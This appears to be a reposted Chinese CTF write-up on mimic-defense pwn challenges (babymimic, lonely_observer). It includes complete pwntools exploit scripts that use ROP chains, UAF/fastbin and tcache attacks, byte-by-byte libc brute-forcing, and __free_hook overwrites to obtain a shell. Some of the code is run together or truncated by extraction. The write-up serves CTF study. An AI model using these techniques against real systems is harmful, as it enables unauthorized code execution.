<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】擬態防御型Pwn題做題思路總結

    VSole2022-03-25 08:34:57

    前言

    感謝前些天D^3CTF的lonely_server出題人,這題很有意思。第一次遇見擬態題是在強網杯,雖然只是簡單入門級別的棧溢出,但當時一臉懵逼,完全不了解擬態防御機制。第二次就是D^3CTF的lonely_observer,升級很多,uaf堆題,還需要用到libc,出題人還花很多心思讓程序能泄露libc而不報錯。總結一下我如何面對兩種不同的架構一步步寫出一個通用exp。

     擬態防御

    類似于生物界的擬態防御,在網絡空間防御領域,在目標對象給定服務功能和性能不變前提下,其內部架構、冗余資源、運行機制、核心算法、異常表現等環境因素,以及可能附著其上的未知漏洞后門或木馬病毒等都可以做策略性的時空變化,從而對攻擊者呈現出“似是而非”的場景,以此擾亂攻擊鏈的構造和生效過程,使攻擊成功的代價倍增。

    CMD 在技術上以融合多種主動防御要素為宗旨:以異構性、多樣或多元性改變目標系統的相似性、單一性;以動態性、隨機性改變目標系統的靜態性、確定性;以異構冗余多模裁決機制識別和屏蔽未知缺陷與未明威脅;以高可靠性架構增強目標系統服務功能的柔韌性或彈性;以系統的視在不確定屬性防御或拒止針對目標系統的不確定性威脅。

    對CTF的pwn來說,題目的功能不變,但運行的環境架構不同(64位和32位),設立檢測輸出裁決機,保證輸入和輸出的信息相同,并且兩端程序都要保持正常服務。這對需要泄露動態加載庫地址、堆地址、程序基址的方法是扼住咽喉的一個防御方式,使得目標系統的安全性大幅度提升。而要突破這種防御機制,也不是沒有辦法,可以采用逐字節爆破、partial write等技巧不泄露信息來getshell。

    2019強網杯 babymimic

    _stkof 32位程序

    int vul(){char v1; // [esp+Ch] [ebp-10Ch]
      setbuf(stdin, 0);  setbuf(stdout, 0);  j_memset_ifunc(&v1, 0, 256);  read(0, &v1, 0x300);return puts(&v1);}
    

    _ _stkof 64位程序

    __int64 vul(){char buf; // [rsp+0h] [rbp-110h]
      setbuf(stdin, 0LL);  setbuf(stdout, 0LL);  j_memset_ifunc(&buf, 0LL, 256LL);  read(0, &buf, 0x300uLL);return puts(&buf, &buf);}
    

    都是非常簡單的棧溢出,靜態編譯,任何一個單獨程序直接用ropchain一把梭就搞定了,但因為加上了擬態防御機制,事情才變得沒那么簡單。

    思路

    1、仔細觀察發現32位和64位溢出的偏移不一樣。32位程序溢出偏移是0x110,而64位程序溢出偏移是0x118。中間間隔的8個字節就可以用來處理兩種架構的差異了。

    2、首先先把一個題目做出來(比如先選擇做64位的,先做哪種效率更高沒有進行更多實驗)。

    payload構造如下:

    3、在此基礎上加入32位payload。因為溢出點正好是在rbp上的8個字節,但又不能修改后面64位的ropchain,因此可以選擇調整棧到偏移,再將ropchain寫過去。這里我選擇ret 0x10c,返回后將棧頂向下移0x10c字節,然后把ropchain布置在那里跳過去。

    payload構造如下:

    exp

    from pwn import *debug = 0if debug:#context.log_level='debug'    cn=process('./_stkof')#cn=process('./__stkof')else:#context.log_level='debug'    cn = remote('49.4.51.149',25391)s       = lambda data               :cn.send(str(data))sa      = lambda delim,data         :cn.sendafter(str(delim), str(data)) st      = lambda delim,data         :cn.sendthen(str(delim), str(data)) sl      = lambda data               :cn.sendline(str(data)) sla     = lambda delim,data         :cn.sendlineafter(str(delim), str(data))r       = lambda numb=4096          :cn.recv(numb)rl    = lambda                 :cn.recvline()ru      = lambda delims             :cn.recvuntil(delims)irt     = lambda                    :cn.interactive()uu32    = lambda data               :u32(data.ljust(4, ''))uu64    = lambda data               :u64(data.ljust(8, ''))
    p_rax=0x000000000043b97c
    from struct import pack
    # Padding goes herep = ''p += pack('p += pack('p += pack('p += '/bin//sh'#p+='cat /flag'p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += p64(59)p += pack('
    pay64 = p
    p_eax=0x080a8af6p = ''#p += pack('p += pack('p += pack('p += '/bin'p += pack('p += pack('p += pack('p += pack('p += '//sh'p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += pack('p += p32(11)p += pack('pay32=p
    padding='a'*0x110pay = paddingpay+= p32(0x8099bbe) # ret 0x10cpay+= p32(0x0806e9cb) # pop edx;retpay+= pay64pay+= 'a'*(0x10c-len(pay64))pay+= pay32
    s(pay)irt()
    

    D^3CTF lonely_observer

    這題比上一題要難得多,主要有兩個原因:一是從棧溢出升級到堆溢出;二是從靜態編譯程序到動態鏈接程序,需要用到libc。其中第二點是考察的難點。

    因為兩個程序的功能相同,所以只分析一個程序就能掌握邏輯。按照習慣,我還是先攻擊64位程序。

    漏洞點

    __int64 dele()
    {
      int v1; // [rsp+Ch] [rbp-4h]
      puts("index?");
      puts(">>");
      v1 = getint();
      if ( list[v1] )
      {
        free(*(void **)(list[v1] + 8));
        ......
    

    程序提供add、dele、show、edit各種接口,應有盡有,在dele函數存在UAF漏洞。入門堆題,但加上擬態防御后,問題變得復雜起來了。

    因為64位和32位程序的libc不可能相同,所以不能直接泄露libc地址。看官方writeup后知道可以通過read_n函數的逐字節輸入的特性,利用任意地址寫,逐字節爆破出用函數地址偽造的size,間接得到libc。而兩個程序libc的不同肯定會導致逐字節輸入的次數不同,出題人很友善地在getint函數里使用了scanf和getchar提供兩次輸入時間差的輸入緩沖。也即在一個程序提前爆破出size后,將接下來的輸入放入緩沖區中,等待另一個程序爆破完成,保持同步。

    64位逐字節爆破libc

    任意地址寫

    很簡單,釋放兩個chunk后,partial write改fd最后一個字節,fastbin attack分配到第一個chunk,從而可以改寫list[0].size和list[0].ptr。

    stderr64 = 0x602040stderr32 = 0x804B020lst64 = 0x602060lst32 = 0x804B060useless_32 = 0x804B124useless_64 = 0x6021e0add(0,1,'a')add(1,1,'a')add(2,1,'a')
    free(0)free(1)edit(1,'x00')#partial write
    add(3,0x10,p64(0x1000)+p64(lst64+0x20))#size+ptr 64
    

    將其指向bss段上的list數組,實現任意地址寫。

    爆破libc

    控制了list數組后,就可以將size的位置設置為bss段上保留的stderr函數指針中某一個字節,將高位清零后,將&size+8偏移的位置寫上一個可寫的地址用來接收一個個的字節。

    大致payload如下:

    pay = 'a'*0x20#paddingpay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n'sl(4)sla('index?',0)sa('content:',pay)
    edit(index1,'x00'*7+p64(useless_64))#9
    sla('>>',4)sla('index?',index2)#8ru('content:')
    

    這里先保留index1和index2,然后根據64位payload,可以發現這里需要在list數組上占用0x20個字節,那么32位的payload估計需要0x10個字節,還需要考慮list數組上原有的chunk最好不要動,所以總共要占用0x50個字節。因此在調試64位程序時,可以先將paylaod寫在list+0x30的位置,后面可能需要調整。然后為了提高容錯率和整體結構的美觀,給32位的payload預留0x20個字節,最終設置index1=9,index2=8。

    布置好指針后開始爆破size。

    for j in range(0xff):    s('a')if 'done!' in ctx.recvrepeat(0.1):        libc64 |= (j+1)        libc64<<=8print(hex(libc64))        sl('a'*(0x100-j))#為了實現同步break
    

    一個字節一個字節的輸入,直到輸入的字節數等于size后,循環就會停止,輸出done!

    sl(‘a’*(0x100-j))這步很關鍵,當一個程序退出循環后來到scanf,但同時另一個程序可能還沒有完成爆破,仍然在read_n函數中循環讀入數據。如果此時就開始下一輪的爆破,就會產生不一樣的輸出,導致check down,栽到擬態防御下。所以,必須要利用scanf將多余的數據放入緩沖區中,等待另一個程序爆破完成輸出done!來到新一輪爆破的相同的起跑線。

    得到libc后,接下去的工作與上面的就類似了,同樣利用任意寫覆蓋 _free_hook就好了,這里不贅述。

    32位程序在64位payload逐字節爆破libc

    任意地址寫

    這個時候就需要在已寫好的64位payload的基礎上進行修改,來保證32位的payload不影響64位的攻擊。首先看看此時64位的攻擊在32位程序中會形成什么效果。

    在fastbin attack形成任意地址后,fastbin上還殘留一個chunk0,此時只需要再free一個chunk,再用一次fastbin attack就能將分配到chunk0,達到任意地址寫,并且剛好能達到與64位程序一致,即通過edit(0)來控制list數組。使得兩種情況的任意寫操作上是相同的。

    另外還要注意不能干擾64位的任意寫,如上圖此時64位的fastbin是被破壞的,如果free了一個chunk后malloc兩次會報錯,所以在free了chunk2后,需要將其fd寫為0,恢復fastbin鏈表。

    因此在64位fastbin attack后面加上32位的fastbin attack的攻擊代碼如下:

    free(2)edit(2,'x00')add(6,8,p32(0x1000)+p32(lst32+0x20))
    

    64位payload爆破libc

    首先會進入64位程序爆破libc的循環,因此32位程序要保證在這個過程中不會影響到64位程序的正常攻擊。同時還要確保在32位程序里這段攻擊過程不會使得程序崩潰,雖然不要求這過程對32位程序有意義,但要求其操作有效。

    這個時候補充32位的payload時盡量不要改動64為payload的操作和索引值,除非不可能達到一致性,否則就想辦法在64位payload的填充字節中補充。

    首先回顧一下64位payload進行什么操作:先通過edit(0)往list上布置payload,然后edit(9,0xf),最后edit(8,1)。具體什么操作在32位程序中不需要關心,只需要關心調用edit函數、索引值和輸入的長度。那么就需要在list[9]布置好size=0xf,ptr為一個可寫地址,在list[8]布置size至少為1,ptr為一個可寫地址。

    幸好之前給32位的payload預留了0x20個字節,足夠布置以上的數據。這時就將那段padding換成32位payload。

    pay = p32(lst32+0x30) + p32(lst32+0x28) + p32(0xf) + p32(useless_32)pay+= p32(1) + p32(useless_32)pay = pay.ljust(0x20,'x00')
    pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n'sl(4)sla('index?',0)sa('content:',pay)
    

    如此可以形成對索引值同樣為8(9)的chunk進行edit時,找到偏移不同的指針,從而保證操作有效,并且還能使得64位程序攻擊成功。這里是我認為擬態防御題最為巧妙、最有趣的地方。

    32位逐字節爆破libc

    這里的操作跟64位的循環爆破類似,只需要將64位payload的操作換成無意義的,將32位payload操作換成爆破stderr函數指針即可。這時32位程序翻身當主人,64位payload只能聽從安排。

    #32-libclibc32 = 0xf700for i in range(2):    pay = p32(stderr32-i+2) + p32(lst32+0x28) + p32(0x7) + p32(stderr32-i+2+1)    pay = pay.ljust(0x20,'x00')
        pay+= p64(0x6020c0)+p64(0x6020b0)+p64(0x7)+p64(useless_64)    pay+= p64(1)+p64(useless_64)+'n'    sl(4)    sla('index?',0)    sa('content:',pay)    edit(9,'x00'*3+p32(useless_32))
        sla('>>',4)    sla('index?',8)    ru('content:')
    for j in range(0xff):        s('a')if 'done!' in ctx.recvrepeat(0.1):            libc32 |= (j+1)            libc32<<=8print(hex(libc32))            sl('a'*(0x100-j))break
    

    到此64位libc和32位libc都泄露出來了,如果能理解上述通過精心構造payload,繞過擬態防御機制實現任意寫,那么接下去的改寫free_hook的操作就更簡單了,用到的方法幾乎相同。

    寫_ _free_hook為system

    之前爆破libc需要分別構造兩種情況的payload來攻擊,任意寫_ free_hook可以簡化一下payload,使得分別edit(8)和edit(9)時篡改32位的 free_hook和64位的 _free_hook。

    sl(4)sla('>>',0)pay = p32(lst32+0x28) + p32(lst32+0x30) + p32(0x4) + p32(fh32)pay+= p32(8)+p32(useless_32)pay = pay.ljust(0x20,'x00')pay+= p64(0x6020b0)+p64(0x6020c0)+p64(0x4)+p64(useless_64)pay+= p64(8)+p64(fh64)+'n's(pay)
    edit(8,p32(sys32))edit(9,p64(sys64))
    

    在edit(8)時,32位程序改寫4字節_ free_hook,64位程序往useless_64寫4字節無意義的數據;而在edit(9)時,32位程序往useless_32寫8字節無意義的數據,64位程序改寫8字節 _free_hook。注意要將寫入的數據長度保持一致。

    然后用同樣的方法布置/bin/sh即可。

    前面的調試工作都是在單獨測試32位或64位程序中進行的,即使能分別getshell也不代表最終的getshell,因為這過程無法測試出輸出是否相同。還需要用給的lonely_observer服務端程序對兩個程序同時測試,如果程序崩潰說明存在輸出的信息不同,原因可能是兩個服務不同步(如缺少sl(‘a’*(0x100-j)))

    exp


    #-*- coding:utf-8 -*-from PwnContext import *# functions for quick scripts       = lambda data               :ctx.send(str(data))sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) sl      = lambda data               :ctx.sendline(str(data)) sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) r       = lambda numb=4096          :ctx.recv(numb)ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)irt     = lambda                    :ctx.interactive()rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)uu32    = lambda data   :u32(data.ljust(4, ''))uu64    = lambda data   :u64(data.ljust(8, ''))
    debugg = 1logg = 0v = 2if v==1:    ctx.binary = './mimic64'elif v==0:    ctx.binary = './mimic32'else:    ctx.binary = './lonely_observer'ctx.symbols = {'lst32':0x804B060,'lst64':0x602060}ctx.breakpoints = [0x8048845]lib64 = ELF('../libc-2.23.so',checksec=False)lib32 = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
    if debugg:    rs()else:    ctx.remote = ('node3.buuoj.cn', 29360)    rs('remote')
    if logg:    context.log_level='debug'def add(idx,sz,c):    sla('>>',1)    sla('>>',idx)    sla('>>',sz)    sa('content:',c)def free(idx):    sla('>>',2)    sla('>>',idx)def edit(idx,c):    sla('>>',4)    sla('>>',idx)    sa('content:',c)def show(idx):    sla('>>',3)    sla('>>',idx)
    stderr64 = 0x602040stderr32 = 0x804B020lst64 = 0x602060lst32 = 0x804B060useless_32 = 0x804B124useless_64 = 0x6021e0add(0,1,'a')add(1,1,'a')add(2,1,'a')
    free(0)free(1)edit(1,'x00')
    add(3,0x10,p64(0x1000)+p64(lst64+0x20))#size ptr 64
    free(2)edit(2,'x00')add(6,8,p32(0x1000)+p32(lst32+0x20))
    #64-libclibc64 = 0x7f00for i in range(4):    pay = p32(lst32+0x30) + p32(lst32+0x28) + p32(0xf) + p32(useless_32)    pay+= p32(1) + p32(useless_32)    pay = pay.ljust(0x20,'x00')
        pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n'    sl(4)    sla('index?',0)    sa('content:',pay)
        edit(9,'x00'*7+p64(useless_64))
        sla('>>',4)    sla('index?',8)    ru('content:')
    for j in range(0xff):        s('a')if 'done!' in ctx.recvrepeat(0.1):            libc64 |= (j+1)            libc64<<=8            print(hex(libc64))            sl('a'*(0x100-j))breaklibc64|=0x40libc64-=0x3c5540success(hex(libc64))fh64 = lib64.sym['__free_hook']+libc64sys64 = lib64.sym['system']+libc64
    #32-libclibc32 = 0xf700for i in range(2):    pay = p32(stderr32-i+2) + p32(lst32+0x28) + p32(0x7) + p32(stderr32-i+2+1)    pay = pay.ljust(0x20,'x00')
        pay+= p64(0x6020c0)+p64(0x6020b0)+p64(0x7)+p64(useless_64)    pay+= p64(1)+p64(useless_64)+'n'    sl(4)    sla('index?',0)    sa('content:',pay)
        edit(9,'x00'*3+p32(useless_32))
        sla('>>',4)    sla('index?',8)    ru('content:')
    for j in range(0xff):        s('a')if 'done!' in ctx.recvrepeat(0.1):            libc32 |= (j+1)            libc32<<=8            print(hex(libc32))            sl('a'*(0x100-j))breaklibc32|=0xc0libc32-=0x1b2cc0success(hex(libc32))fh32 = lib32.sym['__free_hook']+libc32sys32 = lib32.sym['system']+libc32
    sl(4)sla('>>',0)pay = p32(lst32+0x28) + p32(lst32+0x30) + p32(0x4) + p32(fh32)pay+= p32(8)+p32(useless_32)pay = pay.ljust(0x20,'x00')pay+= p64(0x6020b0)+p64(0x6020c0)+p64(0x4)+p64(useless_64)pay+= p64(8)+p64(fh64)+'n's(pay)edit(8,p32(sys32))edit(9,p64(sys64))
    sl(4)sla('>>',0)pay = p32(lst32+0x28) + 'a'*4 + p32(0x4) + p32(lst32+0x30)pay+= '/bin/shx00'pay = pay.ljust(0x20,'x00')pay+= p64(0x6020b0)+'a'*8+p64(0x4)+p64(0x6020c0)pay+= '/bin/shx00'+'n's(pay)
    free(8)irt()
    

    D^3CTF lonely_observer (libc-2.27版本)

    如果將服務運行在libc-2.27的環境中,一開始我還想將fastbin attack改為tcache attack直接攻擊bss段來簡化exp,可是調試發現因為兩個程序的bss段不同,直接改fd會導致分配不過去從而導致程序崩潰,還是要老老實實地先改寫heap上的ptr來任意寫。

    exp

    #-*- coding:utf-8 -*-from PwnContext import *# functions for quick scripts       = lambda data               :ctx.send(str(data))sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) sl      = lambda data               :ctx.sendline(str(data)) sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) r       = lambda numb=4096          :ctx.recv(numb)ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)irt     = lambda                    :ctx.interactive()rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)uu32    = lambda data   :u32(data.ljust(4, ''))uu64    = lambda data   :u64(data.ljust(8, ''))debugg = 1logg = 0v = 2if v==1:    ctx.binary = './mimic64'    ctx.breakpoints = [0x400A8E]elif v==0:    ctx.binary = './mimic32'    ctx.breakpoints = [0x8048845]else:    ctx.binary = './lonely_observer'ctx.symbols = {'lst32':0x804B060,'lst64':0x602060}lib64 = ELF('./libc-2.27.so')lib32 = ELF('/lib/i386-linux-gnu/libc-2.27.so')if debugg:    rs()else:    ctx.remote = ('node3.buuoj.cn', 29189)    rs('remote')if logg:    context.log_level='debug'def add(idx,sz,c):    sla('>>',1)    sla('>>',idx)    sla('>>',sz)    sa('content:',c)def free(idx):    sla('>>',2)    sla('>>',idx)def edit(idx,c):    sla('>>',4)    sla('>>',idx)    sa('content:',c)def show(idx):    sla('>>',3)    sla('>>',idx)stderr64 = 0x602040stderr32 = 0x804B020lst64 = 0x602060lst32 = 0x804B060useless_32 = 0x804B124useless_64 = 0x6021e0add(0,1,'a')add(1,1,'a')add(2,1,'a')#tcache attackfree(0)free(1)edit(1,'x60')#0add(3,0x10,p64(0x1000)+p64(lst64+0x20))#size ptr 64free(1)free(2)edit(2,'x60')#0add(6,0x8,p32(0x1000)+p32(lst32+0x20))#64-libclibc64 = 0x7f00for i in range(4):    pay = p32(lst32+0x30) + p32(lst32+0x28) + p32(0xf) + p32(useless_32)    pay+= p32(1) + p32(useless_32)    pay = pay.ljust(0x20,'x00')    pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n'    sl(4)    sla('index?',0)    sa('content:',pay)    edit(9,'x00'*7+p64(useless_64))    sla('>>',4)    sla('index?',8)    ru('content:')for j in range(0x100):        s('a')if 'done!' in ctx.recvrepeat(0.1):            libc64 |= (j+1)            libc64<<=8            print(hex(libc64))            sl('a'*(0x100-j))breakif j == 0xff:            print('Bomb error')            exit(-1) libc64|=0x80libc64-=0x3ec680success(hex(libc64))fh64 = lib64.sym['__free_hook']+libc64sys64 = lib64.sym['system']+libc64#32-libclibc32 = 0xf700for i in range(2):    pay = p32(stderr32-i+2) + p32(lst32+0x28) + p32(0x7) + p32(stderr32-i+2+1)    pay = pay.ljust(0x20,'x00')    pay+= p64(0x6020c0)+p64(0x6020b0)+p64(0x7)+p64(useless_64)    pay+= p64(1)+p64(useless_64)+'n'    sl(4)    sla('index?',0)    sa('content:',pay)    edit(9,'x00'*3+p32(useless_32))    sla('>>',4)    sla('index?',8)    ru('content:')for j in range(0x100):        s('a')if 'done!' in ctx.recvrepeat(0.1):            libc32 |= (j+1)            libc32<<=8            print(hex(libc32))            sl('a'*(0x100-j))breakif j == 0xff:            print('Bomb error')            exit(-1)         libc32|=0xe0libc32-=0x1d8ce0success(hex(libc32))fh32 = lib32.sym['__free_hook']+libc32sys32 = lib32.sym['system']+libc32sl(4)sla('>>',0)pay = p32(lst32+0x28) + p32(lst32+0x30) + p32(0x4) + p32(fh32)pay+= p32(8)+p32(useless_32)pay = pay.ljust(0x20,'x00')pay+= p64(0x6020b0)+p64(0x6020c0)+p64(0x4)+p64(useless_64)pay+= p64(8)+p64(fh64)+'n's(pay)edit(8,p32(sys32))edit(9,p64(sys64))sl(4)sla('>>',0)pay = p32(lst32+0x28) + 'a'*4 + p32(0x4) + p32(lst32+0x30)pay+= '/bin/shx00'pay = pay.ljust(0x20,'x00')pay+= p64(0x6020b0)+'a'*8+p64(0x4)+p64(0x6020c0)pay+= '/bin/shx00'+'n's(pay)free(8)irt()
    

    總結

    私以為擬態防御將“求同存異”的思想運用到了網絡安全建設中,秒哉!而在攻擊時可以參考一個總思路——相同的操作,不同的偏移。就是要充分發揮64位環境和32位環境字長的差異,在構造payload的時候,利用偏移到不同的地址,構造兩次相似的攻擊過程,同時每次的攻擊過程在另一種環境下是徒勞的,但不能無效。


    payload擬態環境
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言感謝前些天D^3CTF的lonely_server出題人,這題很有意思第一次遇見擬態題是在強網杯,雖然只是簡單入門級別的棧溢出,但當時一臉懵逼,完全不了解擬態防御機制。這對需要泄露動態加載庫地址、堆地址、程序基址的方法是扼住咽喉的一個防御方式,使得目標系統的安全性大幅度提升。而要突破這種防御機制,也不是沒有辦法,可以采用逐字節爆破、partial write等技巧不泄露信息來getshell。
    看陜西省聯社在數字化轉型中,如何做好網絡安全主動防御
    MSF監聽設置use?PAYLOAD?name>set?LHOST?192.168.20.128set?LPORT?4444show?options?#查漏補缺exploit
    msiexec是非常重要的操作系統組件,通常用來安裝Windows Installer安裝包,而且msiexec支持遠程加載msi程序功能,因此可以通過msiexec加載遠程的惡意msi程序,實現免殺的效果。
    不一樣的xss payload
    2022-08-28 06:50:01
    當不能彈窗的時候,可以用下面的payload來證明. 當過濾了空格假設payload如下:?D位置可填充%09,%0A,%0C,%0D,%20,//,>函數配合拼接
    介紹實戰中由于各種情況,可能會對反序列化Payload的長度有所限制,因此研究反序列化Payload縮小技術是有意義且必要的本文以CommonsBeanutils1鏈為示例,
    分析Cobalt Strike Payload
    2021-12-11 06:49:22
    原始Payload Cobalt Strike 的Payload基于 Meterpreter shellcode,例如 API 哈希(x86和x64版本)或http/https Payload中使用的url checksum8 算法等等。 x86 默認的 32 位原始負載的入口點以典型指令開始,CLD (0xFC),然后是CALL指令,并PUSHA (0x60)作為 API 哈希算法的第一條
    EXOCET 優于 Metasploit 的“Evasive Payloads”模塊,因為 EXOCET 在 GCM 模式(Galois/Counter 模式)下使用 AES-256。Metasploit 的 Evasion Payloads 使用易于檢測的 RC4 加密。雖然 RC4 可以更快地解密,但 AES-256 很難確定惡意軟件的意圖。
    關于遠程代碼執行的常用Payload大家好,我是 Ansar Uddin,我是來自孟加拉國的網絡安全研究員。這是我的第二篇 Bug 賞金文章。今天的話題都是關于 Rce 的利用。攻擊者的能力取決于服務器端解釋器的限制。在某些情況下,攻擊者可能能夠從代碼注入升級為命令注入。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类